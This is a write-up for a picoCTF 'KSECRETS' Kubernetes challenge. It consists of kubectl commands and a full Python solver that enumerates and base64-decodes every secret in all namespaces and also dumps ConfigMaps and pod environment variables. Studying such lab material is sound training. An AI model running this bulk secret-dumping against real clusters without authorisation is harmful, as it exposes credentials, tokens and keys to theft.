│ Category: General Skills
│ Difficulty: Easy
│ Points: 100
│ Author: Imattas aka Zemi
────────────────────────────────────────────────────────────────────────────────
--[ Challenge Description ]--
│ We have a kubernetes cluster setup and flag is in the secrets. You think you
can get it?
────────────────────────────────────────────────────────────────────────────────
--[ Recon / Initial Analysis ]--
This challenge tests basic Kubernetes administration skills. The flag is stored
as a Kubernetes Secret, and we need to retrieve and decode it using kubectl.
:: Kubernetes Secrets Overview
Kubernetes Secrets are objects designed to store sensitive data such as
passwords, tokens, and keys. However, by default, Kubernetes Secrets are only
base64-encoded -- they are not encrypted. Anyone with access to the cluster and
appropriate RBAC permissions can read them.
Key facts about Kubernetes Secrets:
- Stored in etcd (the cluster's backing store)
- Base64-encoded by default (NOT encrypted)
- Accessible via the Kubernetes API or kubectl
- Can be of type Opaque, kubernetes.io/tls, kubernetes.io/dockerconfigjson, etc.
First, verify the cluster connection:
-- bash --
kubectl cluster-info
kubectl get nodes
────────────────────────────────────────────────────────────────────────────────
--[ Vulnerability / Observation ]--
Because Kubernetes Secrets are only base64-encoded (not encrypted), anyone with
read access via kubectl can dump and decode them. The primary tool for
interacting with Kubernetes Secrets is kubectl:
1. List all secrets: kubectl get secrets -- shows all secrets in the current
namespace
2. Describe a secret: kubectl describe secret <name> -- shows metadata (but not
the data values)
3. Get secret data: kubectl get secret <name> -o jsonpath='{.data}' -- shows
base64-encoded values
4. Decode secret data: The base64 values must be decoded to get the plaintext
5. Check all namespaces: kubectl get secrets --all-namespaces or -A -- the
secret may be in a non-default namespace
The flag may be hidden in a non-default namespace, so enumeration across all
namespaces is essential.
────────────────────────────────────────────────────────────────────────────────
--[ Exploitation / Solution ]--
:: Challenge Strategy
1. Connect to the provided Kubernetes environment (likely a webshell or SSH
session)
2. Enumerate secrets across all namespaces
3. Retrieve the secret data
4. Base64-decode the values to reveal the flag
:: Step 1: Check the cluster connection
-- bash --
kubectl cluster-info
kubectl get nodes
Verify you have a working connection to the cluster.
:: Step 2: List all secrets
-- bash --
# List secrets in the default namespace
kubectl get secrets
# List secrets across ALL namespaces
kubectl get secrets -A
# or
kubectl get secrets --all-namespaces
:: Step 3: Examine the secrets
Look for any secret that seems relevant (e.g., named flag, ctf-secret, picoctf,
etc.).
-- bash --
# Describe the secret to see its structure
kubectl describe secret <secret_name>
kubectl describe secret <secret_name> -n <namespace>
:: Step 4: Extract the secret data
-- bash --
# Get the full secret as YAML (shows base64-encoded data)
kubectl get secret <secret_name> -o yaml
# Get the full secret as JSON
kubectl get secret <secret_name> -o json
# Extract a specific key's value
kubectl get secret <secret_name> -o jsonpath='{.data.flag}'
kubectl get secret <secret_name> -o jsonpath='{.data}'
:: Step 5: Decode the base64 value
-- bash --
# Decode the flag value
kubectl get secret <secret_name> -o jsonpath='{.data.flag}' | base64 -d
# Or decode all data fields
kubectl get secret <secret_name> -o jsonpath='{.data}' | base64 -d
# If the key name is unknown, get all data:
kubectl get secret <secret_name> -o go-template='{{range $k,$v := .data}}{{printf "%s: " $k}}{{$v | base64decode}}{{"\n"}}{{end}}'
:: Alternative: One-liner to dump all secrets
If you are unsure which secret contains the flag:
-- bash --
# Dump all secret values across all namespaces
kubectl get secrets -A -o json | python3 -c "
import json, base64, sys
data = json.load(sys.stdin)
for item in data['items']:
ns = item['metadata']['namespace']
name = item['metadata']['name']
if 'data' in item and item['data']:
for k, v in item['data'].items():
decoded = base64.b64decode(v).decode('utf-8', errors='replace')
if 'picoCTF' in decoded or 'flag' in k.lower():
print(f'[{ns}/{name}] {k} = {decoded}')
"
────────────────────────────────────────────────────────────────────────────────
--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
KSECRETS - picoCTF 2026
Category: General Skills | Points: 100
Retrieves the flag from Kubernetes secrets by enumerating all secrets
across all namespaces, decoding base64 data, and searching for the flag.
Prerequisites:
- kubectl must be installed and configured with cluster access
- The challenge typically provides a webshell or SSH session with
kubectl pre-configured
Usage:
python3 solve.py
python3 solve.py --namespace <specific_namespace>
python3 solve.py --secret <specific_secret_name>
"""
import subprocess
import sys
import json
import base64
import re
import argparse
# ──────────────────────────────────────────────────────────────────
# Configuration
# ──────────────────────────────────────────────────────────────────
FLAG_PATTERN = re.compile(r"picoCTF\{[^}]+\}")
def run(cmd):
"""Run a shell command and return stdout."""
result = subprocess.run(
cmd, shell=True, capture_output=True, text=True
)
return result.stdout.strip(), result.stderr.strip(), result.returncode
def check_kubectl():
"""Verify kubectl is available and connected."""
print("[*] Checking kubectl connection...")
stdout, stderr, rc = run("kubectl cluster-info 2>/dev/null")
if rc != 0:
# Try without 2>/dev/null to see the error
stdout, stderr, rc = run("kubectl cluster-info")
if rc != 0:
print(f"[-] kubectl not available or not connected: {stderr}")
print(" Make sure kubectl is installed and configured.")
print(" If using the challenge webshell, kubectl should be pre-configured.")
return False
print(f"[+] Connected to cluster")
# Show nodes
stdout, _, _ = run("kubectl get nodes 2>/dev/null")
if stdout:
print(f" Nodes:\n{stdout}")
return True
def get_namespaces():
"""Get all namespaces in the cluster."""
print("[*] Enumerating namespaces...")
stdout, stderr, rc = run("kubectl get namespaces -o jsonpath='{.items[*].metadata.name}'")
if rc != 0:
print(f" Warning: Could not list namespaces: {stderr}")
return ["default"]
namespaces = stdout.strip("'").split()
print(f" Found namespaces: {namespaces}")
return namespaces
def get_secrets_in_namespace(namespace):
"""Get all secrets in a specific namespace."""
stdout, stderr, rc = run(
f"kubectl get secrets -n {namespace} -o json 2>/dev/null"
)
if rc != 0 or not stdout:
return []
try:
data = json.loads(stdout)
return data.get("items", [])
except json.JSONDecodeError:
return []
def get_all_secrets():
"""Get all secrets across all namespaces."""
print("[*] Fetching all secrets across all namespaces...")
stdout, stderr, rc = run("kubectl get secrets -A -o json 2>/dev/null")
if rc == 0 and stdout:
try:
data = json.loads(stdout)
return data.get("items", [])
except json.JSONDecodeError:
pass
# Fallback: enumerate namespace by namespace
print(" Falling back to per-namespace enumeration...")
all_secrets = []
namespaces = get_namespaces()
for ns in namespaces:
secrets = get_secrets_in_namespace(ns)
all_secrets.extend(secrets)
return all_secrets
def decode_secret_data(secret):
"""Decode all base64-encoded data fields in a secret."""
decoded = {}
raw_data = secret.get("data", {})
if not raw_data:
return decoded
for key, value in raw_data.items():
try:
decoded_value = base64.b64decode(value).decode("utf-8", errors="replace")
decoded[key] = decoded_value
except Exception as e:
decoded[key] = f"<decode error: {e}>"
return decoded
def search_secrets(secrets):
"""Search all secrets for the flag."""
flags_found = []
print(f"\n[*] Analyzing {len(secrets)} secrets...")
print("-" * 60)
for secret in secrets:
name = secret.get("metadata", {}).get("name", "unknown")
namespace = secret.get("metadata", {}).get("namespace", "unknown")
secret_type = secret.get("type", "unknown")
# Skip service account tokens (usually not interesting)
if secret_type == "kubernetes.io/service-account-token":
continue
print(f"\n[*] Secret: {namespace}/{name} (type: {secret_type})")
decoded = decode_secret_data(secret)
if not decoded:
print(" (no data)")
continue
for key, value in decoded.items():
# Truncate long values for display
display_val = value[:200] + "..." if len(value) > 200 else value
print(f" {key} = {display_val}")
# Search for flag
matches = FLAG_PATTERN.findall(value)
if matches:
for flag in matches:
print(f"\n [+] FLAG FOUND in {namespace}/{name} [{key}]: {flag}")
flags_found.append(flag)
# Also check if the value looks interesting
if any(kw in value.lower() for kw in ["flag", "ctf", "pico", "secret"]):
print(f" ^ Interesting value detected!")
# Also check annotations and labels
annotations = secret.get("metadata", {}).get("annotations", {})
for k, v in annotations.items():
m = FLAG_PATTERN.findall(str(v))
if m:
print(f" [+] FLAG in annotation {k}: {m[0]}")
flags_found.extend(m)
return flags_found
def try_specific_secret(secret_name, namespace="default"):
"""Try to get a specific secret by name."""
print(f"[*] Fetching specific secret: {namespace}/{secret_name}")
# Try to get the secret as JSON
stdout, stderr, rc = run(
f"kubectl get secret {secret_name} -n {namespace} -o json 2>/dev/null"
)
if rc != 0 or not stdout:
print(f" Secret not found in namespace {namespace}")
return []
try:
secret = json.loads(stdout)
decoded = decode_secret_data(secret)
flags = []
for key, value in decoded.items():
print(f" {key} = {value}")
m = FLAG_PATTERN.findall(value)
flags.extend(m)
return flags
except json.JSONDecodeError:
print(f" Failed to parse secret JSON")
return []
def try_common_secret_names():
"""Try to access secrets with common flag-related names."""
print("\n[*] Trying common secret names...")
common_names = [
"flag", "ctf-flag", "picoctf", "secret-flag", "the-flag",
"challenge-flag", "ctf-secret", "pico-flag", "ksecrets",
"k-secrets", "my-secret", "app-secret",
]
namespaces = get_namespaces()
flags = []
for ns in namespaces:
for name in common_names:
stdout, _, rc = run(
f"kubectl get secret {name} -n {ns} -o json 2>/dev/null"
)
if rc == 0 and stdout:
try:
secret = json.loads(stdout)
decoded = decode_secret_data(secret)
for key, value in decoded.items():
print(f" [{ns}/{name}] {key} = {value}")
m = FLAG_PATTERN.findall(value)
if m:
print(f" [+] FLAG: {m[0]}")
flags.extend(m)
except json.JSONDecodeError:
pass
return flags
def try_kubectl_raw():
"""Use raw kubectl commands as fallback approaches."""
print("\n[*] Trying raw kubectl approaches...")
flags = []
# Method 1: kubectl get secrets with go-template to decode all
stdout, _, rc = run(
"kubectl get secrets -A -o go-template='"
"{{range .items}}"
"{{.metadata.namespace}}/{{.metadata.name}}:\\n"
"{{range $k,$v := .data}}"
" {{$k}}: {{$v | base64decode}}\\n"
"{{end}}"
"{{end}}' 2>/dev/null"
)
if rc == 0 and stdout:
m = FLAG_PATTERN.findall(stdout)
if m:
print(f"[+] Found via go-template: {m}")
flags.extend(m)
# Method 2: Check configmaps too (flag might be there)
stdout, _, rc = run(
"kubectl get configmaps -A -o json 2>/dev/null"
)
if rc == 0 and stdout:
m = FLAG_PATTERN.findall(stdout)
if m:
print(f"[+] Found in configmaps: {m}")
flags.extend(m)
# Method 3: Check environment variables in running pods
stdout, _, rc = run(
"kubectl get pods -A -o jsonpath='"
"{range .items[*]}{range .spec.containers[*]}"
"{range .env[*]}{.name}={.value}{\"\\n\"}"
"{end}{end}{end}' 2>/dev/null"
)
if rc == 0 and stdout:
m = FLAG_PATTERN.findall(stdout)
if m:
print(f"[+] Found in pod env vars: {m}")
flags.extend(m)
return flags
def main():
parser = argparse.ArgumentParser(description="KSECRETS solver - extract flag from Kubernetes secrets")
parser.add_argument("--namespace", "-n", default=None, help="Specific namespace to search")
parser.add_argument("--secret", "-s", default=None, help="Specific secret name to check")
args = parser.parse_args()
print("=" * 60)
print("KSECRETS - picoCTF 2026 Solver")
print("=" * 60)
# Check kubectl connectivity
if not check_kubectl():
print("\n[-] Cannot connect to Kubernetes cluster.")
print(" Make sure you are running this from the challenge environment.")
print("\n Manual steps:")
print(" 1. kubectl get secrets -A")
print(" 2. kubectl get secret <name> -o jsonpath='{.data}'")
print(" 3. echo '<base64_value>' | base64 -d")
sys.exit(1)
all_flags = []
# If a specific secret was requested
if args.secret:
ns = args.namespace or "default"
flags = try_specific_secret(args.secret, ns)
all_flags.extend(flags)
else:
# ── Phase 1: Get all secrets and search them ──
secrets = get_all_secrets()
if secrets:
flags = search_secrets(secrets)
all_flags.extend(flags)
# ── Phase 2: Try common secret names ──
if not all_flags:
flags = try_common_secret_names()
all_flags.extend(flags)
# ── Phase 3: Raw kubectl approaches ──
if not all_flags:
flags = try_kubectl_raw()
all_flags.extend(flags)
# ── Results ──
print("\n" + "=" * 60)
print("RESULTS")
print("=" * 60)
unique_flags = list(set(all_flags))
if unique_flags:
for flag in unique_flags:
print(f"[+] FLAG: {flag}")
else:
print("[-] No flag found automatically.")
print()
print("Manual investigation steps:")
print(" 1. kubectl get secrets -A")
print(" (List all secrets in all namespaces)")
print(" 2. kubectl get secret <name> -n <namespace> -o yaml")
print(" (View the secret's base64-encoded data)")
print(" 3. kubectl get secret <name> -o jsonpath='{.data.<key>}' | base64 -d")
print(" (Decode a specific key)")
print(" 4. Check configmaps too: kubectl get configmaps -A -o yaml")
print(" 5. Check pod env vars: kubectl exec <pod> -- env | grep -i flag")
if __name__ == "__main__":
main()
────────────────────────────────────────────────────────────────────────────────
--[ Key Takeaways ]--
- Kubernetes Secrets are base64-encoded, not encrypted — read access plus
kubectl is all you need to recover their contents.
- Always enumerate across all namespaces (kubectl get secrets -A); the flag is
often hidden outside the default namespace.
- Core workflow: kubectl get secret <name> -o yaml/json to view the base64 data,
then base64 -d (or a go-template with base64decode) to reveal the plaintext.
- Don't stop at Secrets — ConfigMaps and pod environment variables are also
worth checking.
- Tools used: kubectl (cluster-info, get, describe, jsonpath, go-template),
base64, and Python for bulk decoding.